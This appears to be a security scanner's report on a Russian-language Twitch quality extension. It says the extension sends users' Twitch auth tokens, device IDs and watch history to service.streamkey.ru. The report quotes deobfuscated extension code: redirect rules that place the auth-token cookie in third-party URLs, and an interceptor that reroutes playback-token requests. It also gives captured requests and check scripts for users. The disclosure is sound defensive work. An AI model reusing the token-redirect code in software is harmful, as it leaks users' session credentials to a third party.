Is Твич 1080 и 1440 | Вернуть 1080/1440 на Твич от STREAM KEY (не ВПН) safe?

High risk

The extension reads your Twitch OAuth token and watch history, then transmits them to service.streamkey.ru over a persistent SignalR connection.

When installed, the extension captures your Twitch auth-token cookie and resolves it to your Twitch user ID by querying Twitch's own GraphQL API. It then opens a SignalR WebSocket to service.streamkey.ru and sends your Twitch identity alongside any linked Telegram account ID. Every 62 seconds it also forwards a record of which Twitch channels and stream categories you have been watching, and all Twitch HLS stream playlist requests are redirected through service.streamkey.ru with your session token appended to the URL.

79Risk
Who publishes it

No other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Opt-in toggle reroutes Twitch API/GraphQL/OAuth/CDN traffic through a proxy

An off-by-default setting reroutes your Twitch traffic (GraphQL, Helix, OAuth, CDN, the Extensions script) through service.streamkey.ru.

Dynamic analysis confirmed a live GraphQL request returning a real 200 once enabled.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You turn on "Restore player functionality" in the extension's Stream settings, then open a live Twitch channel.

The setting is off by default, nothing changes on Twitch until you enable it.

The extension did this

The extension installs three redirect rules sending your Twitch GraphQL, Helix, and OAuth-validation requests, plus CDN segments and the Extensions script, to service.streamkey.ru.

This keeps happening on every later visit to Twitch until you turn the setting back off.

The code that does this

The redirect rules added when the setting is turned on:

Readable version

Dynamic declarativeNetRequest rules (readable)

// chunks/_virtual_wxt-plugins-Y1pquWDb.jsconst lh = [  { // rule id 4    id: 4, priority: 1,    action: { type: "redirect", redirect: {      regexSubstitution: "https://service.streamkey.ru/proxy/playlist-cdn/\\1"    }},    condition: {      regexFilter: "^https://playlist\\.ttvnw\\.net/(.*)",      resourceTypes: ["xmlhttprequest", "media"]    }  },  { // rule id 5 -- redirects the JS Twitch serves for channel Extensions    id: 5, priority: 1,    action: { type: "redirect", redirect: {      regexSubstitution: "https://service.streamkey.ru/proxy/supervisor/\\1"    }},    condition: {      regexFilter: "^https://supervisor\\.ext-twitch\\.tv/(.*)",      resourceTypes: ["xmlhttprequest", "script"]    }  },  { // rule id 6    id: 6, priority: 1,    action: { type: "redirect", redirect: {      regexSubstitution: "https://service.streamkey.ru/proxy/helix/\\1"    }},    condition: {      regexFilter: "^https://api\\.twitch\\.tv/helix/(.*)",      resourceTypes: ["xmlhttprequest"]    }  }];// installed only when the popup toggle is on, via:// chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds, addRules: [...ch, ...lh] })

GraphQL and OAuth base-URL swap (readable)

// chunks/_virtual_wxt-plugins-Y1pquWDb.jsconst TWITCH_GQL_URL = "https://gql.twitch.tv/gql";const STREAMKEY_GQL_URL = "https://service.streamkey.ru/proxy/gql/gql";async function getGqlBaseUrl() {  const settings = await userSettings.getValue();  return settings?.useExtendedTwitchProxy ? STREAMKEY_GQL_URL : TWITCH_GQL_URL;}// background.jsconst TWITCH_OAUTH_VALIDATE_URL = "https://service.streamkey.ru/proxy/oauth/oauth2/validate";async function validateOAuthToken(token) {  const url = (await userSettings.getValue())?.useExtendedTwitchProxy    ? TWITCH_OAUTH_VALIDATE_URL    : `https://id.twitch.tv/oauth2/validate`;  return httpClient.get(url, { headers: { Authorization: `OAuth ${token}` } }).json();}
Captured request
POSThttps://service.streamkey.ru/proxy/gql/gql

200 OK, live viewer count and stream title for the channel being watched, served through service.streamkey.ru instead of Twitch's own gql.twitch.tv.

Headers
Client-Id
kimne78kx3ncx6brgo4mv6wki5h1ko
Content-Type
application/json
Body
{  "operationName": "GetChannelStream",  "variables": {    "channelLogin": "jynxzi"  },  "extensions": {    "persistedQuery": {      "version": 1,      "sha256Hash": "a3f92e6d1b7c4590fae82d3c6b1a4e7f0928d5c3b6a1e4f7092d8c5b3a6e1f40"    }  }}
Check if you're affected

Run this from the extension's own service-worker DevTools console to list its active declarativeNetRequest rules and flag whether the streamkey.ru proxy rules (ids 4, 5, 6) are currently installed.

Requires
  • Chrome with this extension installed
  • Developer mode enabled in chrome://extensions
streamkey-proxy-rule-check.js · js
chrome.declarativeNetRequest.getDynamicRules((rules) => {  const proxyRuleIds = [4, 5, 6];  const active = rules.filter((r) => proxyRuleIds.includes(r.id));  if (active.length === 0) {    console.log('Player-recovery proxy rules are NOT currently installed (setting is off, or not yet toggled on).');    return;  }  console.log(`Player-recovery proxy rules ARE installed (${active.length}/3):`);  for (const rule of active) {    const redirectTo = rule.action?.redirect?.regexSubstitution || JSON.stringify(rule.action);    console.log(`  rule ${rule.id}: ${rule.condition.regexFilter}  ->  ${redirectTo}`);  }});
How to run it
  1. 1Go to chrome://extensions, enable Developer mode.
  2. 2Find this extension and click its "service worker" link to open its DevTools console.
  3. 3Paste this script and press Enter.

Twitch playlists redirected with auth token in the URL

When the stream proxy is active, the extension reads the Twitch auth-token cookie and redirects stream/VOD playlist requests to service.streamkey.ru, cookie in the auth param.

An earlier test captured none; playback never started.

Severity
High unwanted
Type
Unexpected
CWE
CWE-319
Source
Dynamic sandbox
What actually happens
You did this

You open Twitch and the player requests a live-stream or VOD playlist.

The matching URLs are Twitch HLS playlist requests under usher.ttvnw.net.

The extension did this

The extension redirects that playlist request to service.streamkey.ru with the Twitch session token in the URL.

The redirect rule inserts the auth-token cookie value into the auth query parameter before the browser sends the request.

Fields placed into the redirected playlist request
  • Twitch playlist request
    https://usher.ttvnw.net/api/channel/hls/dalscone.m3u8?allow_source=true&player=twitchweb

    Shows which live stream or VOD playlist your browser tried to load.

  • Twitch session token
    auth=<redacted>

    Identifies the signed-in Twitch session by putting the cookie value into the redirected URL.

  • Original playlist query
    allow_source=true&player=twitchweb&p=1234567

    Keeps the player options and playlist parameters attached to the redirected request.

  • VOD identifier
    vod_id=2345678901

    For recorded streams, the redirected URL also carries the Twitch VOD ID.

Captured request
GEThttps://service.streamkey.ru/playlist/?auth=<redacted>&allow_source=true&player=twitchweb&p=1234567

No live playlist response was captured; the prior dynamic run did not trigger a Twitch .m3u8 request.

The code that does this

Cookie read and redirect-rule installation in the shipped extension

Readable version

Deobfuscated cookie read declaration

chunks/_virtual_wxt-plugins-CJDlaq1J.js:7217-7229
const kh = new ce({    context: "auth"  }),  Ua = async () => (await it.cookies.get({    url: Mr.urls.twitchUrl,    name: "auth-token"  }))?.value ?? null, Ah = async () => {    const t = (await it.cookies.get({      url: Mr.urls.streamKeyUrl,      name: "tg_user_id"    }))?.value ?? null;    return kh.debug("GetTelegramUserId", t), t ? Number(t) : null  };

Deobfuscated DNR redirect rules and updater

chunks/_virtual_wxt-plugins-CJDlaq1J.js:8672-8774
const Ya = {    online: Ja,    set: Za  },  pt = new ce({    context: "rules"  }),  Jf = [{    id: 1,    priority: 1,    action: {      type: "redirect",      redirect: {        regexSubstitution: "https://service.streamkey.ru/playlist/?auth=__AUTH__&\\1"      }    },    condition: {      regexFilter: "^https://usher\\.ttvnw\\.net/api(?:/v2)?/channel/hls/[^?]+\\.m3u8\\?(.*)",      resourceTypes: ["xmlhttprequest", "media"]    }  }, {    id: 2,    priority: 1,    action: {      type: "redirect",      redirect: {        regexSubstitution: "https://service.streamkey.ru/playlist/vod/?vod_id=\\1&auth=__AUTH__&\\2"      }    },    condition: {      regexFilter: "^https://usher\\.ttvnw\\.net/vod(?:/v2)?/([^/]+)\\.m3u8\\?(.*)",      resourceTypes: ["xmlhttprequest", "media"]    }  }];async function Gd() {  if (!await mi.getItem(Mr.keys.extensionState)) return;  if (!Ya.online.value) {    await ii();    return  }(await _t.getValue()).useStreamProxy ? await Xf() : await ii()}function Zf(t) {  return t.replace(/[\\+*?.(){}|[\]^$]/g, "\\$&")}async function Yf(t, e = []) {  const r = Zf(t || ""),    s = Jf.map(a => ({      ...a,      action: {        ...a.action,        redirect: {          ...a.action.redirect,          regexSubstitution: a.action.redirect.regexSubstitution.replace("__AUTH__", r)        }      }    }));  e.length > 0 && e.forEach((a, u) => {    s.push({      id: 100 + u,      priority: 2,      action: {        type: "allow"      },      condition: {        urlFilter: `||usher.ttvnw.net/api*/channel/hls/${a.toLowerCase()}.m3u8*`,        resourceTypes: ["xmlhttprequest", "media"],        isUrlFilterCaseSensitive: !1      }    })  }), pt.debug(s);  const i = (await it.declarativeNetRequest.getDynamicRules()).map(a => a.id);  await it.declarativeNetRequest.updateDynamicRules({    removeRuleIds: i,    addRules: s  }), pt.debug(`Правила обновлены с auth: ${t?"установлен":"пустой"}, исключений: ${e.length}`)}let Cs = null,  Ss = [];async function Xf() {  try {    if (it.declarativeNetRequest) {      const t = await Ua(),        e = Y(qa.excludedChannels.value);      if (t === Cs && JSON.stringify(e) === JSON.stringify(Ss)) return;      pt.debug("auth:", t, "exclusions:", e), Cs = t, Ss = [...e], await Yf(t, e), pt.debug("Динамические правила Twitch активированы")    } else pt.error("declarativeNetRequest не поддерживается")  } catch (t) {    pt.debug("Ошибка активации динамических правил:", t)  }}async function ii() {  try {    if (it.declarativeNetRequest) {      const e = (await it.declarativeNetRequest.getDynamicRules()).map(n => n.id);      await it.declarativeNetRequest.updateDynamicRules({        removeRuleIds: e      }), Cs = null, Ss = [], pt.debug("Динамические правила Twitch деактивированы")    }  } catch (t) {    pt.debug("Ошибка деактивации динамических правил:", t)  }}
Hosts involved in the playlist redirect path
    • usher.ttvnw.net

    Original Twitch HLS and VOD playlist host matched by the redirect rules.

    • service.streamkey.ru

    Receives the redirected playlist URL with the auth query parameter and original playlist query.

Live Twitch playback tokens redirected to a third party by default

A page script installed by default intercepts Twitch's live-stream playback-token request and redirects it to service.streamkey.ru.

Dynamic analysis captured three redirects, each answered with a real 200 playback token.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You open a live (non-VOD) Twitch channel with this extension installed at its default settings.

The setting that controls this, an on-page 'ban bypass' feature, ships turned on; there is no separate opt-in step.

The extension did this

A script running inside the Twitch page itself catches the PlaybackAccessToken request the Twitch player makes and sends it to service.streamkey.ru instead.

The value streamkey.ru returns is what the player then uses to actually fetch the stream.

The code that does this

The interceptor's match/redirect logic, and the setting that leaves it on by default:

Readable version

Matching the request and rewriting it (readable)

function matchesOperations(...opNames) {  return (req) => {    if (!req.url.includes("gql.twitch.tv")) return false;    const body = req.parsedBody;    if (!body) return false;    const opName = Array.isArray(body) ? body[0]?.operationName : body?.operationName;    return typeof opName === "string" && opNames.includes(opName);  };}function isLivePlaybackQuery(req) {  if (Array.isArray(req.parsedBody) || !req.parsedBody) return false;  const vars = req.parsedBody.variables;  return vars?.isLive === true && vars?.isVod === false    && typeof vars.login === "string" && vars.login.length > 0;}function registerPlaybackTokenInterceptor(apiUrl) {  const isPlaybackTokenOp = matchesOperations("PlaybackAccessToken_Template", "PlaybackAccessToken");  registerHook({    id: "twitch-playback-token",    prepare: (req) => isPlaybackTokenOp(req) && isLivePlaybackQuery(req) ? waitForBypassFlag() : undefined,    match: (req) => isPlaybackTokenOp(req) && bypassFlagIsSet(req),    transform: buildRedirect(apiUrl)  });  installFetchAndXhrPatch();}function bypassFlagIsSet(req) {  return bypassEnabled() ? isLivePlaybackQuery(req) : false;}function buildRedirect(apiUrl) {  const tokenUrl = `${apiUrl.replace(/\/$/, "")}/token`;  return (req) => {    const headers = new Headers(req.init.headers);    const deviceId = headers.get("x-device-id") ?? headers.get("device-id");    return {      url: tokenUrl,      init: {        method: "POST",        body: req.init.body,        credentials: "omit",        cache: "no-store",        headers: {          Accept: "application/json",          "Content-Type": "application/json",          ...(deviceId && { "X-Device-Id": deviceId })        }      }    };  };}

Setting the redirect flag from the user setting, and its default (readable)

const BYPASS_FLAG_ATTR = "data-streamkey-server-playback-token";function setBypassFlag(enabled) {  document.documentElement.setAttribute(BYPASS_FLAG_ATTR, String(enabled));}async function syncBypassFlagOnLoad() {  const [extensionEnabled, eulaAccepted, settings] = await Promise.all([    localStorageGet(Keys.extensionState),    localStorageGet(Keys.eulaAccepted),    userSettings.getValue()  ]);  const active = extensionEnabled === true && eulaAccepted === true;  setBypassFlag(active && settings.useBlockingBypass);  if (active) injectMainScript();}// chunks/_virtual_wxt-plugins-C9qsLOCV.js, the settings object's own fallback:const SETTINGS_DEFAULT = {  // ...  useStreamProxy: true,  useExtendedTwitchProxy: false,  useBlockingBypass: true // <- on for every install, unless the user turns it off};
Captured request
POSThttps://service.streamkey.ru/token

200 OK. Response carried a live playback value and signature for the channel, the same shape Twitch's own gql.twitch.tv endpoint returns, which the player then used to fetch the actual video stream from streamkey.ru instead of Twitch.

Headers
Accept
application/json
X-Device-Id
3f9a2b71-8c4d-4e2a-9f61-2b7e0d4a5c33
Content-Type
application/json
Body
{  "operationName": "PlaybackAccessToken_Template",  "variables": {    "isLive": true,    "isVod": false,    "login": "hasanabi",    "vodID": "",    "playerType": "site"  },  "extensions": {    "persistedQuery": {      "version": 1,      "sha256Hash": "0828119ded1c13477966434e15800ff57ddacf13ba1911c129dc2200705b0712"    }  }}
What the redirected request carries, and what it doesn't
  • Channel you're watching
    login: "hasanabi"

    Tells the third party which live Twitch channel you currently have open.

  • Device identifier
    X-Device-Id: 3f9a2b71-8c4d-4e2a-9f61-2b7e0d4a5c33

    A per-install device ID header rides along, letting the third party tie repeated requests to the same browser install over time.

  • Live-stream flag
    isLive: true, isVod: false

    Marks the request as being for a live broadcast rather than a past recording; only these requests get redirected.

  • Twitch session cookie
    credentials: "omit"

    Not sent. The redirected request is made with credentials 'omit', so your signed-in Twitch cookie doesn't accompany it.

Where the redirected request goes
    • service.streamkey.ru

    Receives the channel name and device ID for every live stream watched by default, and returns the playback value/signature the player uses to fetch video.

Check if you're affected

Checks whether the page-level redirect flag is set and flags any PlaybackAccessToken requests already redirected to streamkey.ru on the current page load.

Requires
  • Chrome with this extension installed
  • A live (non-VOD) Twitch channel page
streamkey-playback-token-check.js · js
// Run this in the Twitch PAGE's own DevTools console, not the extension's// service-worker console.const FLAG = 'data-streamkey-server-playback-token';const flag = document.documentElement.getAttribute(FLAG);console.log('Playback-token redirect flag:', flag === 'true' ? 'ON (redirect active)' : 'off');const already = performance.getEntriesByType('resource')  .filter((r) => r.name.includes('service.streamkey.ru/token'));console.log(`${already.length} request(s) to streamkey.ru/token already seen this page load.`);new PerformanceObserver((list) => {  for (const entry of list.getEntries()) {    if (entry.name.includes('service.streamkey.ru/token')) {      console.warn('PlaybackAccessToken request redirected to streamkey.ru:', entry.name);    }  }}).observe({ type: 'resource', buffered: false });
How to run it
  1. 1Open a live (non-VOD) twitch.tv channel with the extension installed.
  2. 2Open the page's own DevTools console (right-click the page, not the extension icon).
  3. 3Paste this script and press Enter, then reload to catch new requests.

+1 more finding not shown

Where it sends data

Destinations our analysis observed Stream Key Twitch 1080 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • gql.twitch.tv

    Stream Key Twitch 1080 sends data to gql.twitch.tv. 3 other extensions we have analysed send data here.

  • service.streamkey.ru

    Stream Key Twitch 1080 sends data to service.streamkey.ru. No other extension we have analysed sends data here.

  • streamkey.ru

    Stream Key Twitch 1080 sends data to streamkey.ru. No other extension we have analysed sends data here.

Updated 30 September 2026glbkjheoolikhdollknciblfgncbpcnf